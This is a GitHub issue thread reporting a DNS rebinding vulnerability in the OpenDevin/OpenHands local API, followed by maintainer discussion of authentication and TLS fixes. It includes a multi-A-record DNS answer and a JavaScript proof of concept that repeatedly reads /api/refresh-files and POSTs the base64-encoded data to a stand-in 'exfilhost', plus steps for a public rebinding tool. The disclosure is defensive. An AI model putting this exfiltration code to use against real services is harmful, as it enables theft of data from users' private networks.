OpenHands
OpenHands copied to clipboard
Security Issue : DNS Rebinding Vulnerability
DNS Rebinding Vulnerability
Type of Vulnerability: DNS Rebinding
Risk Level: High
Description
DNS rebinding is a technique that turns the victim's browser into a proxy to attack private networks.
Example of Vulnerable Behavior:
DNS rebinding is a technique where attackers trick a browser into associating a domain with a new IP address. This allows them to bypass the Same Origin Policy (SOP) and interact with a service on a different origin. The attack involves a controlled domain and DNS server. Initially, the DNS server provides the real IP with a short Time-to-Live (TTL) to avoid caching. Once the TTL expires, any new requests (e.g. via JavaScript) are redirected to an internal IP (such as 127.0.0.1), tricking the browser into sending requests to the intended target service while believing it is still communicating with the original site.
Steps :
- The attack involves a user visiting a website controlled by the attacker.
- By manipulating the DNS server, the attacker is able to switch between their own address and a local address, taking advantage of the low TTL.
- To this, we set our DNS server to return Multiple A records.
;; ANSWER SECTION:
rebind.attacker.com. 0 IN A x.x.x.x(attacker's server)
rebind.attacker.com. 0 IN A 0.0.0.0
When the DNS server response contains more than one A record, Browser will first resolve the address x.x.x.x.x (attacker's server) and try to connect. If x.x.x.x.x cannot be reached (connection denied/no route to host), it will use another IP address, 0.0.0.0.0, as a fallback.
I used following malicious pseudo JavaScript:
async function run() {
while (true) {
fetch('http://rebind.attacker.com:3000/api/refresh-files')
.then(resp => resp.text())
.then(text => {
console.log(`Retrieved logs: ${text}`)
fetch('http://exfilhost', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ ex: btoa(text) })
})
.then(response => response.text())
.then(data => console.log(data))
.catch(error => console.error('Error:', error));
})
.catch(err => {})
await new Promise(r => setTimeout(r, 1000))
}
}
run()
This JavaScript code continuously pulls data from http://rebind.attacker.com:3000/api/refresh-files using a while (true) loop, encodes sensitive data into Base64 format, and POSTs it as JSON to http://exfilhost.
Mitigations :
- Use Authentication
- Enforce Host Header Value
- Use TLS
- Make URI Paths Unpredictable
@evrenyal can you explain more how this attack would be exploited?
If it requires executing arbitrary javascript in the user's browser on the OpenDevin site, I think we can safely close it
Thank you for reply @rbren
A vulnerability that occurs when a user visits an attacker-controlled website. You can think of it as malicious JS code on the attacker's server. You can try the tool below to get simple results.
- Visit http://rebind.it:8080/manager.html
- Change target port as 3000
- Click on "Start Attack" button
- Wait for a while for the attack to succeed. You can monitor it using Devtool.
- GET request to the root directory ('/') of Opendevin app and shows the server response using the fetch API.
I hope it was more clear.
-
Use Authentication
Use something like https://pypi.org/project/fastapi-jwt/ maybe not necessary at the moment. -
Use TLS
Same as above.
- we can use fastapi-users auth route https://fastapi-users.github.io/fastapi-users/
hi @evrenyal, if we open the auth in api/refresh-files
, is it prevent the attack?
we already had the auth, just did not extend it to all APIs yet, we can easily do this. btw, we support the tls in #1248. the tls can be opened if anyone wanna deploy OpenDevin in production.
@iFurySt https://github.com/OpenDevin/OpenDevin/issues/1194 At first it was about that, but with the use of auth and TLS the impact of this can be reduced. It's already been discussed here. #1248. I think this can be marked as fixed.
@enyst @rbren Could you please marked this as Security label
Thanks @enyst ^^